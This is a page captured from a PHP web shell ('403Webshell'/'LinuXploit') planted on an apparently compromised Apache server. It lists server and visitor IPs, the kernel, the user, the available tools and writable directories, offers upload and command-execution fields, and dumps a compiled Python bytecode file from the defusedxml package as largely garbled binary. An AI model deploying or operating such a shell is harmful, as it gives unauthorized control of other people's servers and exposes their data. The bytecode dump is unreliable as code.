403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.25
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/defusedxml/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/defusedxml/__pycache__/lxml.cpython-311.pyc
�

8F`L��4�dZddlmZmZddlZddlZddlmZddl	m
Z
mZmZej
ddkZdZejZejd	ed
���Gd�d
ej��ZGd�dej��Ze��ZejZdd�Zdd�Zdd�ZeZd�ZdS)zkDEPRECATED Example code for lxml.etree protection

The code has NO protection against decompression bombs.
�)�print_function�absolute_importN)�etree�)�DTDForbidden�EntitiesForbidden�NotSupportedError�z
lxml.etreezOdefusedxml.lxml is no longer supported and will be removed in a future release.�)�category�
stacklevelc���eZdZdZdZejZd�Z�fd�Z	d
�fd�	Z
d�fd�	Zd�fd	�	Zd
�fd
�	Z
�fd�Zd�fd�	Z�xZS)�RestrictedElementzEA restricted Element class that filters out instances of some classes�c#�LK�|j}|D]}t||��r�|V��dS�N)�	blacklist�
isinstance)�self�iteratorr�childs    �1/usr/lib/python3/dist-packages/defusedxml/lxml.py�_filterzRestrictedElement._filter(sF�����N�	��	�	�E��%��+�+�
���K�K�K�K�	�	�c�|��tt|�����}|�|��Sr)�superr�__iter__r�rr�	__class__s  �rrzRestrictedElement.__iter__/s1����*�D�1�1�:�:�<�<���|�|�H�%�%�%rNFc���tt|���||���}|�|��S)N)�tag�reversed)rr�iterchildrenr)rr!r"rrs    �rr#zRestrictedElement.iterchildren3s9����*�D�1�1�>�>�3�QY�>�Z�Z���|�|�H�%�%�%rc�n��tt|��j|d|i�}|�|��S�Nr!)rr�iterr�rr!�tagsrrs    �rr&zRestrictedElement.iter7s7���6�5�*�D�1�1�6��F�3�F�F���|�|�H�%�%�%rc�n��tt|��j|d|i�}|�|��Sr%)rr�iterdescendantsrr's    �rr*z!RestrictedElement.iterdescendants;s7���A�5�*�D�1�1�A�D�Q�c�Q�Q���|�|�H�%�%�%rc���tt|���||���}|�|��S)N)r!�	preceding)rr�itersiblingsr)rr!r,rrs    �rr-zRestrictedElement.itersiblings?s9����*�D�1�1�>�>�3�R[�>�\�\���|�|�H�%�%�%rc���tt|�����}t|�|����Sr)rrr�listrrs  �r�getchildrenzRestrictedElement.getchildrenCs9����*�D�1�1�:�:�<�<���D�L�L��*�*�+�+�+rc�~��tt|���|��}|�|��Sr)rr�getiteratorr)rr!rrs   �rr2zRestrictedElement.getiteratorGs3����*�D�1�1�=�=�c�B�B���|�|�H�%�%�%r)NFr)�__name__�
__module__�__qualname__�__doc__�	__slots__�_etree�_Entityrrrr#r&r*r-r0r2�
__classcell__)rs@rrr!s�������O�O��I���I����&�&�&�&�&�&�&�&�&�&�&�&�&�&�&�&�&�&�&�&�&�&�&�&�&�&�&�&�&�,�,�,�,�,�&�&�&�&�&�&�&�&�&�&rrc�0�eZdZdZddiZeZd�Zd�Zd�Z	dS)�GlobalParserTLSz0Thread local context for custom parser instances�resolve_entitiesFc��tjdi|j��}|j}|j�*tj|���}|�|��|S)N)�elementr)r8�	XMLParser�
parser_config�
element_class�ElementDefaultClassLookup�set_element_class_lookup)r�parserrB�lookups    r�createDefaultParserz#GlobalParserTLS.createDefaultParserWsX���!�7�7�D�$6�7�7���*�
���)��5�m�L�L�L�F��+�+�F�3�3�3��
rc��||_dSr)�_default_parser�rrEs  r�setDefaultParserz GlobalParserTLS.setDefaultParser_s��%����rc�~�t|dd��}|�)|���}|�|��|S)NrI)�getattrrGrKrJs  r�getDefaultParserz GlobalParserTLS.getDefaultParserbsC����0�$�7�7���>��-�-�/�/�F��!�!�&�)�)�)��
rN)
r3r4r5r6rArrBrGrKrNrrrr<r<Ls\������:�:�	�E��M�&�M����&�&�&�����rr<FTc
�.�|j}|jr:|r t|j|j|j���|rt
st
d���|rH|j|jfD];}|��|�	��D]}t|j|jdddd����:dSdS)z�Check docinfo of an element tree for DTD and entity declarations

    The check for entity declarations needs lxml 3 or newer. lxml 2.x does
    not support dtd.iterentities().
    z3Unable to check for entity declarations in lxml 2.xN)
�docinfo�doctyper�
system_url�	public_id�LXML3r	�internalDTD�externalDTD�iterentitiesr�name�content)�elementtree�
forbid_dtd�forbid_entitiesrP�dtd�entitys      r�
check_docinfor_ns����!�G���^��	W��w���0B�G�DU�V�V�V��	^�5�	^�#�$\�]�]�]��]��&��(;�;�	]�	]�C��{���*�*�,�,�
]�
]��'���V�^�T�4�QU�W[�\�\�\�
]�	]�]�	]�	]rc�v�|�t��}tj|||���}t|||��|S�N)�base_url)rNr8�parser_)�sourcerErbr[r\rZs      rrcrc�s@��
�~�!�#�#���,�v�v��A�A�A�K��+�z�?�;�;�;��rc��|�t��}tj|||���}|���}t	|||��|Sra)rNr8�
fromstring�getroottreer_)�textrErbr[r\�rootelementrZs       rrfrf�sR��
�~�!�#�#���#�D�&�8�D�D�D�K��)�)�+�+�K��+�z�?�;�;�;��rc� �td���)Nz*defused lxml.etree.iterparse not available)r	)�args�kwargss  r�	iterparserm�s��
�H�
I�
I�Ir)FT)NNFT)r6�
__future__rr�	threading�warnings�lxmlrr8�commonrrr	�LXML_VERSIONrT�
__origin__�tostring�warn�DeprecationWarning�ElementBaser�localr<�_parser_tlsrNr_rcrf�XMLrmrrr�<module>r|s�����7�6�6�6�6�6�6�6��������� � � � � � �F�F�F�F�F�F�F�F�F�F���A��!�#��
�
��?����
�U�
������(&�(&�(&�(&�(&��*�(&�(&�(&�V�����i�o����<�o�����/��]�]�]�]�,����������J�J�J�J�Jr

Youez - 2016 - github.com/yon3zu
LinuXploit